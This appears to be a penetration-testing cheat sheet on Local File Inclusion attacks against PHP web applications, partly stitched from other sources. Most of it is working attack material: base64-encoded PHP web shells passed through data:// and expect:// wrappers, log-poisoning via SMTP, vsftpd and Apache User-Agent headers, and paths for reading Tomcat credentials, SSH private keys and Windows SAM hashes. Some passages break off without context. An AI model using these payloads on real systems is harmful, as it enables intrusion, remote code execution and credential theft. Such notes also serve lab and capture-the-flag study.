The key is taking a look at unusual responses and filtering them using -hh, for example in this case most responses had a character count of around 300 characters on average, so whenever one would pop up that had 13000 it meant that the content was being displayed.
This also gives us a hint on how the Local FIle Inclusion is working.
Windows
Reference this list for LFI so we can get creds for other services around.
The guide above should help you depending on how the website reacts.
Look for files associated with other services around that could give you access.
LFI + TOMCAT
Look at the version of tomcat and depending on its version we can gather credentials for the manager site and gain rce by uploading a war file.
By transversing to: /usr/share/tomcat9/etc/tomcat-users.xml
We were able to gather credentials.
LFI + Redis
Try to enumerate where we can load files using redis, make a php reverse shell or any sort of code and we can easily use lfi to execute the code we wrote.
LFI + Filezilla
Using the reference list above we can gather credentials for the Filezilla FTP server.
Since we have code execution all we have to do is make sure that we get a reverse shell using different payloads from Payloads of All things.
Wrapper data://
echo '<?php phpinfo(); ?>' | base64 -w0 -> PD9waHAgcGhwaW5mbygpOyA/Pgo=
http://example.com/index.php?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pgo=
Or
menu.php?file=data:text/plain,<?php echo shell_exec("dir") ?>
If code execution, you should see phpinfo(), go to the disable_functions and craft a payload with functions which aren't disable.
Code execution with
- exec
- shell_exec
- system
- passthru
- popen
# Exemple
echo '<?php passthru($_GET["cmd"]);echo "Shell done !"; ?>' | base64 -w0 -> PD9waHAgcGFzc3RocnUoJF9HRVRbImNtZCJdKTtlY2hvICJTaGVsbCBkb25lICEiOyA/Pgo=
http://example.com/index.php?page=data://text/plain;base64,PD9waHAgcGFzc3RocnUoJF9HRVRbImNtZCJdKTtlY2hvICJTaGVsbCBkb25lICEiOyA/Pgo=
If there is "Shell done !" on the webpage, then there is code execution and you can do things like :
http://example.com/index.php?page=data://text/plain;base64,PD9waHAgcGFzc3RocnUoJF9HRVRbImNtZCJdKTtlY2hvICJTaGVsbCBkb25lICEiOyA/Pgo=&cmd=ls
http://example.com/index.php?page=expect://id
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
The logs of this FTP server are stored in /var/log/vsftpd.log. If you have a LFI and can access a exposed vsftpd server, you could try to login setting the PHP payload in the username and then access the logs using the LFI
RCE via Mail
First send an email using the open SMTP then include the log file located at http://example.com/index.php?page=/var/log/mail.
root@kali:~# telnet 10.10.10.10. 25
Trying 10.10.10.10....
Connected to 10.10.10.10..
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from: mail@example.com
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
data2
.
In some cases you can also send the email with the mail command line.
mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
RCE via Apache logs
Poison the User-Agent in access logs:
$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.
Then request the logs via the LFI and execute your command.
Then extract hashes from these files samdump2 SYSTEM SAM > hashes.txt, and crack them with hashcat/john or replay them using the Pass The Hash technique.
Then crack the hashes inside in order to login via SSH on the machine.
Another way to gain SSH access to a Linux machine through LFI is by reading the private key file, id_rsa. If SSH is active check which user is being used /proc/self/status and /etc/passwd and try to access /<HOME>/.ssh/id_rsa.
